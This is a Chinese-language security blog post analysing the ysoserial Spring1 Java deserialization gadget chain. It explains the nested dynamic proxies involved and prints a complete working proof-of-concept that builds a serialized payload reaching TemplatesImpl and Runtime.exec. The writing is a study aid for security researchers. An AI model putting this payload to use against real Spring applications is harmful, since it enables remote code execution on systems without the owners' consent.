导入依赖:
org.springframework
spring-core
4.1.1.RELEASE
org.springframework
spring-beans
4.1.1.RELEASE
ysoserial给出的spring1的利用链还是比较完整的。
/*
Gadget chain:
ObjectInputStream.readObject()
SerializableTypeWrapper.MethodInvokeTypeProvider.readObject()
SerializableTypeWrapper.TypeProvider(Proxy).getType()
AnnotationInvocationHandler.invoke()
HashMap.get()
ReflectionUtils.findMethod()
SerializableTypeWrapper.TypeProvider(Proxy).getType()
AnnotationInvocationHandler.invoke()
HashMap.get()
ReflectionUtils.invokeMethod()
Method.invoke()
Templates(Proxy).newTransformer()
AutowireUtils.ObjectFactoryDelegatingInvocationHandler.invoke()
ObjectFactory(Proxy).getObject()
AnnotationInvocationHandler.invoke()
HashMap.get()
Method.invoke()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TemplatesImpl.TransletClassLoader.defineClass()
Pwner*(Javassist-generated).
Runtime.exec()
*/
然后根据Gadget Chain涉及到的关键利用类进行知识补充。
spring核心包有一个类:org.springframework.core.SerializableTypeWrapper.MethodInvokeTypeProvider。这个类实现了TypeProvider接口,表示这是一个可以进行反序列化的类。
看一下这个类的readObject方法,先是调用org.springframework.util.ReflectionUtils#findMethod(java.lang.Class<?>, java.lang.String)方法,传入的参数为自身的provider.getType().getClass()和methodName。
然后调用org.springframework.util.ReflectionUtils#invokeMethod(java.lang.reflect.Method, java.lang.Object)方法,反射调用执行findMethod获得的method方法,并且这个反射调用是一个无参调用。
对于这个类的readObject方法而言,methodName我们可以通过反射设置为newTransformer()方法,关键是如何控制provider的getType()方法返回的值处理成 TemplatesImpl ,就可以触发漏洞了。
同时可以看到,org.springframework.core.SerializableTypeWrapper.MethodInvokeTypeProvider类中也对TypeProvider接口中的getType方法进行了重构,返回值是一个Type类型的变量。
在srping-beans的包中存在org.springframework.beans.factory.support.AutowireUtils.ObjectFactoryDelegatingInvocationHandler这个类,实现了Serializable和InvocationHandler接口。表明了这个类一方面可以实现序列化,一方面可以实现动态代理代理某些类。
在 invoke 代理时,会调用 ObjectFactory 的 getObject 方法返回ObjectFactory的实例用于 Method 的反射调用。
ObjectFactory 的 getObject 方法返回的对象是泛型的。
该类在CC1的调试中,分别通过LazyMap和TransformedMap的利用中已经分析过了。
这里主要分析一下这个类触发代理时invoke()会做什么事情。
先获得需要反射调用执行的Method的Name,如果方法是toString、hashCode、annotationType等方法,就会对var7进行对应的赋值。
如果不是上述提到的几种方法,就会进入switch里面的default模块进行执行,memberValues存储的即是AnnotationInvocationHandler初始化的时候传入的Map。
var4是需要调用方法的名字,然后将var4作为key在Map中寻找对应的value,最后将这个value返回。
这个类的invoke代理的利用思路就有了:
这条链分析起来比较复杂,主要靠的是使用InvocationHandler层层代理。用了两次AnnotationInvocationHandler实现动态代理来修改方法的返回值,两个动态代理之间是通过ObjectFactoryDelegatingInvocationHandler的invoke代理作为chain连接起来的。
直接就用了su18师傅对spring1分析的POC:
1、先构造一个AnnotationInvocationHandler,实现了代理ObjectFactory的getObject()方法,修改返回值使其返回TemplatesImpl。
2、然后将动态代理后的ObjectFactory类型的变量,传递给ObjectFactoryDelegatingInvocationHandler类进行初始化。这样只要触发了ObjectFactoryDelegatingInvocationHandler代理类的任意方法,都会触发代理的invoke()方法,从而触发getObject()方法的调用。
3、在org.springframework.core.SerializableTypeWrapper.MethodInvokeTypeProvider#readObject方法中,通过反射将methodName修改为newTransformer()。同时,ReflectionUtils.findMethod()方法需要this.provider.getType()返回的类中存在newTransformer()方法,才可以成功获得newTransformer()方法。
MethodInvokeTypeProvider里面的provider成员变量是TypeProvider类型,因此使用AnnotationInvocationHandler动态代理来修改TypeProvider的getType()方法返回的值。同时因为getType()方法返回的类型为Type,并且我们需要在返回值的类中找到对应的newTransfromer()方法,所以getType()方法需要修改的返回值是 Type 类型又是 Templates(TemplatesImpl 父类) 类型的类。
4、第三步中,ObjectFactoryDelegatingInvocationHandler实现了InvocationHandler接口,我们就可以使用ObjectFactoryDelegatingInvocationHandler来代理一个既是 Type 类型又是 Templates(TemplatesImpl 父类) 类型的类,并将这个类放到getType()返回的值中。
这样当程序运行到到org.springframework.util.ReflectionUtils#invokeMethod方法的时候,会调用ObjectFactoryDelegatingInvocationHandler代理后的类的newTransformer()方法,然后就会触发org.springframework.beans.factory.support.AutowireUtils.ObjectFactoryDelegatingInvocationHandler#invoke方法,然后就会触发ObjectFactory的getObject(),这就与第一步和第二步做的事情联系到一起了。
5、最终在org.springframework.beans.factory.support.AutowireUtils.ObjectFactoryDelegatingInvocationHandler#invoke中实现触发命令执行。
TemplatesImpl tmpl = Util.SeralizeUtil.generateTemplatesImpl();
// 使用 AnnotationInvocationHandler 动态代理
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c.getDeclaredConstructors()[0];
constructor.setAccessible(true);
HashMap map = new HashMap<>();
map.put("getObject", tmpl);
// 使用动态代理初始化 AnnotationInvocationHandler
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map);
// 使用 AnnotationInvocationHandler 动态代理 ObjectFactory 的 getObject 方法,使其返回 TemplatesImpl
ObjectFactory<?> factory = (ObjectFactory<?>) Proxy.newProxyInstance(
ClassLoader.getSystemClassLoader(), new Class[]{ObjectFactory.class}, invocationHandler);
// 当触发factory.getObject()方法时,返回值就被修改为tmpl
// test : factory.toString();
//ObjectFactoryDelegatingInvocationHandler 的 invoke 方法触发 ObjectFactory 的 getObject
//并且会调用 method.invoke(返回值,args)
//此时返回值被我们使用动态代理改为了 TemplatesImpl
//接下来需要 method 是 newTransformer(),就可以触发调用链了
Class<?> clazz = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler");
Constructor<?> ofdConstructor = clazz.getDeclaredConstructors()[0];
ofdConstructor.setAccessible(true);
// 使用动态代理出的 ObjectFactory 类实例化 ObjectFactoryDelegatingInvocationHandler
InvocationHandler ofdHandler = (InvocationHandler) ofdConstructor.newInstance(factory);
//HashMap hashMap = (HashMap) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),HashMap.class.getInterfaces(),ofdHandler);
//hashMap.get(1);
// ObjectFactoryDelegatingInvocationHandler 本身就是个 InvocationHandler
// 使用它来代理一个类,这样在这个类调用时将会触发 ObjectFactoryDelegatingInvocationHandler 的 invoke 方法
// 我们用它代理一个既是 Type 类型又是 Templates(TemplatesImpl 父类) 类型的类
// 这样这个代理类同时拥有两个类的方法,既能被强转为 TypeProvider.getType() 的返回值,又可以在其中找到 newTransformer 方法
Type typeTemplateProxy = (Type) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
new Class[]{Type.class, Templates.class}, ofdHandler);
// typeTemplateProxy.hashCode();
// 接下来代理 TypeProvider 的 getType() 方法,使其返回我们创建的 typeTemplateProxy 代理类
HashMap map2 = new HashMap<>();
map2.put("getType", typeTemplateProxy);
InvocationHandler newInvocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map2);
Class<?> typeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider");
// 使用 AnnotationInvocationHandler 动态代理 TypeProvider 的 getType 方法,使其返回 typeTemplateProxy
Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
new Class[]{typeProviderClass}, newInvocationHandler);
// 初始化 MethodInvokeTypeProvider
Class<?> clazz2 = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
Constructor<?> cons = clazz2.getDeclaredConstructors()[0];
cons.setAccessible(true);
// 由于 MethodInvokeTypeProvider 初始化时会立即调用 ReflectionUtils.invokeMethod(method, provider.getType())
// 所以初始化时我们随便给个 Method,methodName 我们使用反射写进去
Object objects = cons.newInstance(typeProviderProxy, Object.class.getMethod("toString"), 0);
Field field = clazz2.getDeclaredField("methodName");
field.setAccessible(true);
field.set(objects, "newTransformer");
// Util.SeralizeUtil.writeObjectToFile(objects,"spring1");
Util.SeralizeUtil.readFileObject("spring1");
接下来通过调试分析一下完整的Gadget链触发的过程。
程序反序列化的入口点位于:org.springframework.core.SerializableTypeWrapper.MethodInvokeTypeProvider#readObject。当前的provider是一个AnnotationInvocationHandler动态代理类,memberValues存储的key为getType,对应的value是一个ObjectFactoryDelegatingInvocationHandler动态代理的类,其中的objectFactory成员变量同样也是一个由AnnotationInvocationHandler动态代理的类。
调用this.provider.getType()方法会触发sun.reflect.annotation.AnnotationInvocationHandler#invoke方法,会返回一个ObjectFactoryDelegatingInvocationHandler的动态代理类。
然后在org.springframework.util.ReflectionUtils#findMethod()遍历了Type和Template两个接口的所有方法中找到了newTrasnformer()方法。
接着在调用ReflectionUtils.invokeMethod()方法前,传入参数的时候同样会再度触发动态代理修改provider.getType()方法返回值的情况。与上文一致,就不在赘述。
直接进入org.springframework.util.ReflectionUtils#invokeMethod(java.lang.reflect.Method, java.lang.Object, java.lang.Object...)里面分析,target是ObjectFactoryDelegatingInvocationHandler代理的类,会反射调用target的newTransformer()方法,ObjectFactoryDelegatingInvocationHandler实现了InvocationHandler动态代理接口,因此会先触发ObjectFactoryDelegatingInvocationHandler的invoke方法。
ObjectFactoryDelegatingInvocationHandler的invoke方法中,objectFactory成员变量是一个AnnotationInvocationHandler的代理类,里面的Map存储的key为getObject,对应的value为templatesImpl类。
当触发this.objectFactory.getObject()方法的时候,同样也会触发sun.reflect.annotation.AnnotationInvocationHandler#invoke方法,同时因为org.springframework.beans.factory.ObjectFactory#getObject返回的类型为泛型,所以会直接返回封装好的TemplateImpl类型的恶意类。
接着就通过反射调用执行com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer,实现命令执行。
spring1链的作者对动态代理的理解相当到位,嵌套了很多层代理,充分利用每层代理的invoke方法来实现自己的目的。
通过AnnotationInvocationHandler对TypeProvider和ObjectFactory类的代理,使得在触发getType()和getObject()方法的时候,会将对应方法的返回值修改。
通过创建同时实现Type和Templetes接口的代理类来使目标可以获取到newTransformer的Method对象,最后又利用ObjectFactoryDelegatingInvocationHandler动态获取TemplatesImpl对象反射调用newTransformer完成利用。
整个链详细的利用过程分析调试已经说的很清楚了。
这里最后给出三层代理构成的恶意类的示意图:
from https://xz.aliyun.com/t/12875
页面更新:2024-03-30
本站资料均由网友自行发布提供,仅用于学习交流。如有版权问题,请与我联系,QQ:4156828
© CopyRight 2008-2024 All Rights Reserved. Powered By bs178.com 闽ICP备11008920号-3
闽公网安备35020302034844号